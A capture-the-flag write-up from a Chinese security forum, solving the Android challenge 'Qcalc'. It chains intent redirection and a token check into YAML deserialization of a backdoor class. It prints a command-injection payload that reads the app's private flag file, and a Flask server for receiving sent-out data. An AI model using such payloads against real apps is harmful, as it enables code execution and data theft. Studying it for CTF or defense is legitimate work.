[强网杯S9]Qcalc-CTF对抗-看雪安全社区｜专业技术交流与安全研究论坛

[强网杯S9]Qcalc

发表于: 2025-10-20 10:20 11633

[强网杯S9]Qcalc

Shangwendada 活跃值

2025-10-20 10:20

11633

首先是查看导出的Activity  只有MainActivity导出，但发现有导出的contentProvider
![file](upload/attach/202510/979679_6D327WUDNY8MJXA.png)

看看是否存在路径穿越
![file](upload/attach/202510/979679_ZZKBEP6YDGT5VWK.png)
检测了私有目录，这个漏洞点可以直接放弃。
审计MainAcitivy主要是两个处理intent的地方
![file](upload/attach/202510/979679_NRVU4AKQ4U8EQJY.png)
![file](upload/attach/202510/979679_5M6XTGZWCJZYNTH.png)
第一发是把intent存入fallback，第二发是带着fallback进入不导出的BridgeActivity，触发方式在代码中有所体现，通过除0触发异常即可。
![file](upload/attach/202510/979679_VBYD5XJF69TNNXE.png)
记下来就是检查token之后触发之前fallback的Activity，这里还有一个有意思的URI，通过provider提供了私有目录下files里面的history.yml，也就是启动的Activity有读写他的权限，接下来看与History相关的代码
![file](upload/attach/202510/979679_BBPZXW4CC5RDGKN.png)
这里发现加载了yaml文件然后又startAcitivy，本来以为是可以通过这个然后构造content://com.qinquang.calc/../flag-xxxxxx.txt给我的poc apk的但是yaml语法不知道怎么回事，好像构造不了无限报错
![file](upload/attach/202510/979679_EXUB8A9TDWXNRCF.png)
无奈放弃，后发现后门函数
![file](upload/attach/202510/979679_GFXKE3DD7KTZW2K.png)
直接反序列化执行，拼接命令即可。
那么就是触发loadHistory然后反序列化执行PingUtil了
目前梳理调用链就是Save Intent -> Expected  -> Save Intetn -> Expected -> RCE
首先写一个计算token的每次intent都有token校验，我们一开始可以直接调试看输出或者自己计算都可以，token错误会输出期望token
![file](upload/attach/202510/979679_3S77YC3KBP6UFQN.png)
测试一下命令执行
![file](upload/attach/202510/979679_V2CPECCGRMZRWRM.png)
首先利用MT管理器直接手动写入一个Yaml，启动之后手动触发loadHistory
![file](upload/attach/202510/979679_896E7DBVNB6XW45.png)
执行了，然后才用分号拼接执行其他命令，这里本来打算cat flag之后dns外带出来，但是后来发现这apk没有网络权限，这就很炸裂了。
![file](upload/attach/202510/979679_CCT5PRMXHZ674D2.png)
然而apk权限的shell也无法写入到data/local/tmp
后想起之前可控的history.yml，将flag回写到history.yml再读取出来就可以了
构造出的yml文件如下
"!!com.qinquang.calc.PingUtil \"8.8.8.8; FLAG=$(cat /data/data/com.qinquang.calc/flag-*.txt); echo \\\"---\\\\nflag: $FLAG\\\\n...\\\" > /data/data/com.qinquang.calc/files/history.yml\"";
最后如何发送又成了问题，这里建立一个服务端
```python
from flask import Flask, request
import base64

app = Flask(__name__)

@app.route('/receive', methods=['POST', 'GET'])
def receive_data():
    if request.method == 'POST':
        data = request.form.get('flag') or request.form.get('data')
    else:
        data = request.args.get('flag') or request.args.get('data')
    
    if data:
        try:
            # 尝试base64解码
            decoded = base64.b64decode(data).decode('utf-8')
            print(f"解码后的数据: {decoded}")
            with open('received_flags.txt', 'a') as f:
                f.write(f"{decoded}\n")
        except:
            print(f"原始数据: {data}")
            with open('received_flags.txt', 'a') as f:
                f.write(f"{data}\n")
    
    print(f"收到请求: {request.method}")
    print(f"Headers: {dict(request.headers)}")
    print(f"Form data: {request.form}")
    print(f"Args: {request.args}")
    
    return "OK", 200

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8000, debug=True)

```
然后搭一个反代，随便搞一个证书就可以了
![file](upload/attach/202510/979679_RUTZUEY8KSNM63B.png)
这一步是由于一些安全限制，没有整数的域名可能不好传出去，也可以直接不限制，但是忘记怎么写了，懒得调试直接一步到位
接下来就是apk构造了
![file](upload/attach/202510/979679_QFD352NMX7UBSMJ.png)

![file](upload/attach/202510/979679_76QMECVTB9THPMZ.png)

![file](upload/attach/202510/979679_ABXP6ETP6XH22ZP.png)
![file](upload/attach/202510/979679_WTY3HPQ2SMKF7AZ.png)
![file](upload/attach/202510/979679_P8MX5UN85DENKJZ.png)
主体框架大概就是这样
再看看WriteActivity
![file](upload/attach/202510/979679_XC3A6X8GE8KS3KS.png)
在看看read的
![file](upload/attach/202510/979679_QZWVHDRNDUTABUD.png)
这就结束了，测试好了直接打包上传就拿到flag了
写wp截图的时候系统好像出bug了，上传了两次没反应第三次上传返回了两个flag奇奇怪怪的（第一次的时候系统正常一个flag）
写wp收flag截图：
![file](upload/attach/202510/979679_6SQ9X9DBU2MV98V.png)

代码POC见：<mark class="encrypted">a83K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Y4K9i4c8Z5N6h3u0Q4x3X3g2U0L8$3#2Q4x3V1k6e0d9r3q4F1k6%4N6W2L8X3c8S2k6r3q4Q4x3V1k6c8j5$3I4S2j5#2m8G2j5H3`.`.</mark>

登录后可查看完整内容

传递专业知识、拓宽行业人脉——看雪讲师团队等你加入！！

#Reverse #Pwn

上传的附件：

challenge.apk （6.33MB，29次下载）

收藏・1

点赞・1

打赏

最新回复 (1)
正己雪币： 6603 活跃值： (5263) 能力值： ( LV7，RANK：110 ) 在线值：发帖 18 回帖 61 粉丝 501 关注私信	正己 2 楼 respect！坐牢坐了一天 2025-10-20 16:55 0
	游客登录 \| 注册方可回帖回帖表情雪币赚取及消费高级回复

Shangwendada

发帖

回帖

260

RANK

关注

私信

他的文章

关于我们

联系我们

企业服务

看雪公众号

专注于PC、移动、智能设备安全研究及逆向工程的开发者社区